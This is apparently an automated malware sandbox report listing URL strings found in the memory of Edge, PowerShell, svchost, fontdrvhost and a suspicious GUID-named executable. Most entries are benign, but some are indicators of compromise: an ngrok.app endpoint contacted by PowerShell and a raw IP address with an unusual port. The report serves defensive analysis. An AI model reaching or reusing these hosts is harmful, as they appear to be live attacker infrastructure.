Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: svchost.exe, 00000006.00000002.3309462817.0000018079000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edge-block-www-env.dropbox-dns.com
Source: svchost.exe, 00000006.00000003.2252880372.0000018078CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.2350155115.00000143CB27C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CA8E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AABA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://ubi.comd:/dev/assassin-playground/dx10_integration/main/extern/onlineservices/Tracking/Module
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/de
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/es
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/fr
Source: 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://www.ubi.com/it
Source: fontdrvhost.exe	String found in binary or memory: https://104.161.43.18:2845/7e56fc199c7194d0/qc1o4gn8.mjfvk
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAB06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AC718000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app
Source: powershell.exe, 00000002.00000002.2350155115.00000143CA8E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2349313702.00000143C8AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606
Source: powershell.exe, 00000002.00000002.2349826533.00000143C8BF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2349313702.00000143C8A04000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2349936949.00000143C8C30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2393180614.00000143E2D36000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2390057321.00000143E2BF0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2349313702.00000143C8AE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606-UseBa
Source: powershell.exe, 00000010.00000002.2971985708.00000169C3A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/metadata/6dc5ab464f5bc22bbff3934d61830606
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://a.sprig.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/gsi/client
Source: powershell.exe, 00000002.00000002.2350155115.00000143CA8E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AABA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAD0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000002.00000002.2350155115.00000143CC880000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CBA2B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CC85A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.login.yahoo.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellofax.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://app.hellosign.com/
Source: msedge.exe, 00000005.00000002.2259449472.0000018FC76A5000.00000004.00000020.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2430058521.00000205692AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://arc.msn.com
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://canny.io/sdk.js
Source: powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cfl.dropboxstatic.com/static/
Source: msedge.exe, 00000005.00000002.2260062826.000017100000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2432337646.00002B8C0016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: msedge.exe, 00000005.00000002.2260062826.000017100000C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2432337646.00002B8C0016C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: msedge.exe, 00000005.00000002.2260118783.0000171000040000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2431372230.00002B8C00040000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://dl-web.dropbox.com/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/fsip/
Source: powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 